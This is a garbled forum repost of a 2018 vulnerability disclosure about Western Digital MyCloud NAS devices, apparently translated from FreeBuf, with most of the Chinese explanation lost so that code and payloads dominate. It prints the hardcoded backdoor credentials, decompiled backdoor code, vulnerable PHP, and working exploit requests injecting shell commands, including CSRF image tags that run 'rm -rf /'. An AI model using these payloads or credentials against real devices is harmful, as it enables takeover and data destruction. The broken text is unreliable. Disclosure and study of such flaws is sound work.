[12241] 2018-01-15_西部数据NAS设备被曝存在硬编码后门和未授权文件上传高危漏洞

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-18
2018-01-15_西部数据NAS设备被曝存在硬编码后门和未授权文件上传高危漏洞 西 N A S c l o u d s   F r e e B u f   2 0 1 8 - 0 1 - 1 5 G u l f T e c h J a m e s   B e r c e g a y 西 西 W e s t e r n   D i g i t a l M y C l o u d W D M y C l o u d   N A S C S R F M y C l o u d   N A S e x p l o i t W D M y C l o u d D - L i n k 西 M y C l o u d W D M y C l o u d   广 w e b :   2 0 1 8 - 0 1 - 0 4 :   2 0 1 8 - 0 1 - 0 8 :   W e s t e r n   D i g i t a l   M y C l o u d : M y C l o u d M y C l o u d M i r r o r M y   C l o u d   G e n   2 M y   C l o u d   P R 2 1 0 0   M y   C l o u d   P R 4 1 0 0 M y   C l o u d   E X 2 U l t r a M y   C l o u d   E X 2 M y   C l o u d   E X 4 M y   C l o u d   E X 2 1 0 0 M y   C l o u d   E X 4 1 0 0 M y   C l o u d   D L 2 1 0 0 M y C l o u d   D L 4 1 0 0 M y C l o u d   0 4 . X   S e r i e s   M y C l o u d   2 . 3 0 . 1 7 4 W D M y C l o u d / u s r / l o c a l / m o d u l e s / w e b / p a g e s / j q u e r y / u p l o a d e r / m u l t i _ u p l o a d i f y . p h p P H P   g e t h o s t b y a d d r ( ) P H P g e t h o s t b y a d d r ( ) I P F A L S E m u l t i _ u p l o a d i f y . p h p # 1 H o s t I P H o s t P H P F A L S E
# 2 H o s t $ r e s u l t F A L S E # 3 :   s t r s t r ( ) F A L S E # 4 :   s t r n c m p ( ) i f # 5 :   N A S r o o t 访 s h e l l 使 F i l e d a t a [ 0 ] N A S P O S T F i l e d a t a [ 0 ] H o s t M e t a s p l o i t N A S   / v a r / w w w / P H P C G I C G I L i n u x   E L F / u s r / l o c a l / m o d u l e s / c g i / n a s _ s h a r i n g . c g i 访   / c g i - b i n / n a s _ s h a r i n g . c g i c m d 7 访 r e _ B A C K D O O R $ i p   =   g e t h o s t b y a d d r ( $ _ S E R V E R [ ' H T T P _ H O S T ' ] ) ; $ n a m e   =   $ _ R E Q U E S T [ ' n a m e ' ] ; $ p w d   =   $ _ R E Q U E S T [ ' p w d ' ] ; $ r e d i r e c t _ u r i   =     $ _ R E Q U E S T [ ' r e d i r e c t _ u r i ' ] ;   / / e c h o   $ n a m e   . " " . $ p w d . " " . $ i p ; $ r e s u l t   =   @ s t r i p s l a s h e s (   @ j o i n (   @ f i l e (   " h t t p : / / " . $ i p . " / m y d l i n k / m y d l i n k . c g i ? c m d = 1 & n a m e = " . $ n a m e . " = & p w d = " . $ p w d   ) , " "   ) ) ; $ r e s u l t _ 1   =   s t r s t r ( $ r e s u l t , " 0 " ) ; $ r e s u l t _ 1   =   s u b s t r   ( $ r e s u l t _ 1 ,   0 , 2 8 ) ; i f   ( s t r n c m p   ( $ r e s u l t _ 1 , " 0 " , 2 8 )   = =   0   ) / / i f   ( s t r s t r ( $ r e s u l t , " 0 " ) = =   0   ) { h e a d e r ( " H T T P / 1 . 1   3 0 2   F o u n d " ) ; h e a d e r ( " L o c a t i o n :   " . $ r e d i r e c t _ u r i . " ? s t a t u s = 0 " ) ; e x i t ( ) ;       }
m y d l i n k B R i o n y g / a b c 1 2 3 4 5 c b a N A S m y d l i n k B R i o n y g m y d l i n k . c g i d l i n k D - L i n k 7 / m n t / r o o t r o o t C G I C G I r o o t c m d 5 1 N A S 访 G E T   / c g i - b i n / n a s _ s h a r i n g . c g i ? d b g = 1 & c m d = 5 1 & u s e r = m y d l i n k B R i o n y g & p a s s w d = Y W J j M T I z N D V j Y m E & s t a r t = 1 & c o u n t = 1 ; t o u c h + / t m p / g u l f t e c h ;   H T T P / 1 . 1 r o o t b a s e 6 4 / t m p / g u l f t e c h 姿 使 访   w d m y c l o u d w d m y c l o u d m i r r o r i f r a m e i m g N A S G E T s t r u c t   p a s s w d   * _ _ f a s t c a l l   r e _ B A C K D O O R ( c o n s t   c h a r   * a 1 ,   c o n s t   c h a r   * a 2 ) { c o n s t   c h a r   * v 2 ;   / /   r 5 @ 1 c o n s t   c h a r   * v 3 ;   / /   r 4 @ 1 s t r u c t   p a s s w d   * r e s u l t ;   / /   r 0 @ 4 F I L E   * v 5 ;   / /   r 6 @ 5 s t r u c t   p a s s w d   * v 6 ;   / /   r 5 @ 7 c o n s t   c h a r   * v 7 ;   / /   r 0 @ 9 s i z e _ t   v 8 ;   / /   r 0 @ 1 0 i n t   v 9 ;   / /   [ s p + 0 h ]   [ b p - 1 0 9 0 h ] @ 1 c h a r   s ;   / /   [ s p + 1 0 0 0 h ]   [ b p - 9 0 h ] @ 1 c h a r   d e s t ;   / /   [ s p + 1 0 4 0 h ]   [ b p - 5 0 h ] @ 1 v 2   =   a 2 ; v 3   =   a 1 ; m e m s e t ( & s ,   0 ,   0 x 4 0 u ) ; m e m s e t ( & d e s t ,   0 ,   0 x 4 0 u ) ; m e m s e t ( & v 9 ,   0 ,   0 x 1 0 0 0 u ) ; i f   (   * v 2   ) { v 8   =   s t r l e n ( v 2 ) ; _ b 6 4 _ p t o n ( v 2 ,   ( u _ c h a r   * ) & v 9 ,   v 8 ) ; i f   (   d w o r d _ 2 C 2 E 4   ) { s u b _ 1 1 9 4 C ( ( c o n s t   c h a r   * ) & u n k _ 1 B 1 A 4 ,   v 2 ) ; s u b _ 1 1 9 4 C ( " p w d   d e c o d e [ % s ] n " ,   & v 9 ) ; } } i f   ( ! s t r c m p ( v 3 ,   " m y d l i n k B R i o n y g " )   & &     ! s t r c m p ( ( c o n s t   c h a r   * ) & v 9 ,   " a b c 1 2 3 4 5 c b a " )   ) { r e s u l t   =   ( s t r u c t   p a s s w d   * ) 1 ; } e l s e { v 5   =   ( F I L E   * ) f o p e n 6 4 ( " / e t c / s h a d o w " ,   " r " ) ; w h i l e   (   1   ) { r e s u l t   =   f g e t p w e n t ( v 5 ) ; v 6   =   r e s u l t ; i f   (   ! r e s u l t   ) b r e a k ; i f   (   ! s t r c m p ( r e s u l t - > p w _ n a m e ,   v 3 )   ) { s t r c p y ( & s ,   v 6 - > p w _ p a s s w d ) ; f c l o s e ( v 5 ) ; s t r c p y ( & d e s t ,   ( c o n s t   c h a r   * ) & v 9 ) ; v 7   =   ( c o n s t   c h a r   * ) s u b _ 1 6 0 3 C ( & d e s t ,   & s ) ; r e t u r n   ( s t r u c t   p a s s w d   * ) ( s t r c m p ( v 7 ,   & s )   = =   0 ) ; } } } r e t u r n   r e s u l t ; }
< i m g   s r c = h t t p : / / w d m y c l o u d / c g i - b i n / n a s _ s h a r i n g . c g i ? d b g = 1 & c m d = 5 1 & u s e r = m y d l i n k B R i o n y g & p a s s w d = Y W J j M T I z N D V j Y m E & s t a r t = 1 & c o u n t = 1 ; r m + - r f + / ; > 访 W D M y C l o u d N A S C S R F h t t p : / / w d m y c l o u d / w e b / d s d k / D s d k P r o x y . p h p ? ; r m   - r f   / ; N A S W D M y C l o u d 2 0 1 7 3 E x p l o i t e e r s W D M y C l o u d D o S N A S W E B D o S N A S 使 W E B 访 7 1 7 h t t p : / / w d m y c l o u d / c g i - b i n / l o g i n _ m g r . c g i ? c m d = c g i _ l a n g u a g e & f _ l a n g u a g e = 7 c l a s s   R e m o t e B a c k u p s A P I { p u b l i c   f u n c t i o n   g e t R e c o v e r I t e m s ( ) { $ x m l P a t h   =   " / v a r / w w w / x m l / r s y n c _ r e c o v e r _ i t e m s . x m l " ; $ j o b N a m e   =   $ _ R E Q U E S T [ ' j o b N a m e ' ] ; @ u n l i n k ( $ x m l P a t h ) ; $ c m d   =   " r s y n c m d   - l   " $ x m l P a t h "   - r   " $ j o b N a m e "   > / d e v / n u l l " ; s y s t e m ( $ c m d ) ; i f   ( f i l e _ e x i s t s ( $ x m l P a t h ) ) { p r i n t   f i l e _ g e t _ c o n t e n t s ( $ x m l P a t h ) ; } e l s e { p r i n t   " " ; } } } i n t   c g i _ l a n g u a g e ( ) { i n t   v 1 ;   / /   [ s p + 0 h ]   [ b p - 1 0 h ] @ 1 c g i F o r m S t r i n g ( " f _ l a n g u a g e " ,   & v 1 ,   8 ) ; x m l _ s e t _ s t r ( ( i n t ) " / l a n g u a g e " ,   ( i n t ) & v 1 ) ; x m l _ w r i t e _ f i l e ( " / e t c / N A S _ C F G / c o n f i g . x m l " ) ; L I B _ C P _ C o n f i g _ T o _ M T D ( 1 ) ; c g i H e a d e r C o n t e n t T y p e ( " t e x t / h t m l " ) ; r e t u r n   s y s t e m ( " l a n g u a g e . s h   >   / d e v / n u l l   2 > & 1   & " ) ; }
G E T   / a p i / 2 . 1 / r e s t / u s e r s ?   H T T P / 1 . 1 W D M y C l o u d D - L i n k m y d l i n k . c g i D - L i n k G o o g l e D - L i n k D - L i n k   D N S - 3 2 0 L   S h a r e C e n t e r m y d l i n k . c g i D - L i n k   D N S - 3 2 0 L   S h a r e C e n t e r   W D M y C l o u d G O D !   W D M y C l o u d D - L i n k   D N S - 3 2 0 L 2 0 1 4 7 1 . 0 . 6 N A S 2 0 1 4 2 0 1 4 W D M y C l o u d 2 . 3 0 . 1 7 4 * g u l f t e c h f r e e b u f c l o u d s F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则